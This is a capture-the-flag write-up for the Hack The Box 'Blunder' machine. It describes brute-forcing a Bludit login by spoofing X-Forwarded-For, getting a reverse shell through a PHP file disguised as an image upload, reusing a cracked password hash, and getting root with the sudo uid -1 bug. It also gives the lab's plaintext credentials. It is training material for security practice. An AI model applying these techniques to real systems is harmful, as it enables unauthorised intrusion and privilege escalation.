HTB - Blunder
Linux easy box about web enumeration, password reuse and sudo CVE exploitation. Created by egotisticalSW.
|Blunder||Linux||Easy||20||30 May 2020||10.10.10.191||egotisticalSW|
nmap command, to know where to start:
Everything seems to be happening on the port 80.
The home page of the website just contains three little blog posts and an “about” section.
Let’s try to enumerate files and directories available on the web server:
/admin is protected by a login form.
Bludit is the CMS here. Wappalyzer didn’t detect any version number, but we can check by hand in source code.
Now let’s ask cvedetails for vulnerabilities that affect Bludit 3.9.2.
Nice, we can bruteforce the login form, but we will need at least a username to perform it. Once we get an account of the website, we can get a reverse shell thanks to the RCE vulnerability.
So our first task is to find a valid username. Maybe the official documentation contains information about a default account, or anything that could give us a hint to authenticate. This page talks about the
admin user, but they advise to disable it, and it doesn’t have a predictable password. Another page is about password recovery, but it needs the
recovery.php file which is only usable from CLI, and it’s not even on the current server.
Other files and directories are not interesting, so we can try to run
ffuf with the same wordlist, but adding common extensions:
install.php file was just used to setup the Bludit server, but the
todo.txt is definitely more interseting. It says:
These notes confirm that the admin user has been deactivated, but now we have a new target: the user
fergus. Besides, the fact that they need to update the CMS shows that we will probably be able to exploit some CVE on this server.
Now that we know a valid username, we can try to bruteforce his password thanks to the CVE-2019-17240. The linked blog post shows why the anti-bruteforce system in Bludit 3.9.2 is not reliable, and provides an already-made script to exploit it. The trick is just to change the
X-Forwarded-For header’s value every request, because Bludit trusts it to identify the client. After customizing it a little to fit our case, this is what our
bf.py looks like:
Unfortunately, it turns out running this script our wordlists containing basic passwords won’t give any result.
The problem is that we cannot really use
rockyou.txt or any big wordlist because the requests frequency is too low for that.
The solution consists of creating a wordlist containing every word in the homepage.
fergus was really a Stephen King enthusiast.
RCE via file upload
We can go to
/admin/login and login successfully with
fergus:RolandDeschain. Our rights are very minimal, we are only able to write new content:
However, we have access to the image upload and it is enough to exploit CVE-2019-16113 we found earlier.
In fact, it is possible to upload an “image” file actually containing PHP code, and make the server execute it, giving us a shell. Let’s clone the GitHub repo, rename
shell.py, and tweak the required variables:
In another terminal, we launch a TCP listener:
And we execute the magic script with:
And it spawns kindly :D
Right after the shell spawned, we can enumerate users and groups on the system:
As well as listening sockets:
The port 631 is suspicious, let’s check its version:
It is probably a bait because the CUPS version is up-to-date, and
searchsploit doesn’t give any result.
Staying focused on our current scope before expanding it is a better idea. By
ls ing around, we find that there are 2 Bludit websites in
/var/www, even though only 1 is running:
Our goal here is to search in them for credentials. In Bludit, passwords hashes are stored in the
bl-content/databases.users.php file. By reading it in the 2 installations, we find 3 users in total:
hugo. The account
hugo is very interesting, as it is also one of the system users. To get his password, CrackStation is always a good starting point.
Nice! In our reverse shell, running:
gives us access to
hugo’s account, thank you password reuse!
Let’s read the user flag.
Fresh sudo CVE
Since we have our current user’s credentials, we can enumerate
sudo rules applied to him.
We can get a shell as every user except
First I tried to log as the other interesting user,
shaun, but all I found were baits, with 2 useless screenshots in his
Anyway, in addition of enumerating
sudo rules for
hugo, checking the software’s version was the last necessary task of enumeration:
searchsploit, we are able to find quickly a recent vulnerability affecting
sudo up till version 1.8.27, the CVE 2019-14287.
This exploit is achievable if the
sudo rules include a line looking like the
(ALL, !root) /bin/bash that we have. The bug is that if you ask to run
/bin/bash with the uid
-1, your shell will spawn as
So the following works, and the box is rooted: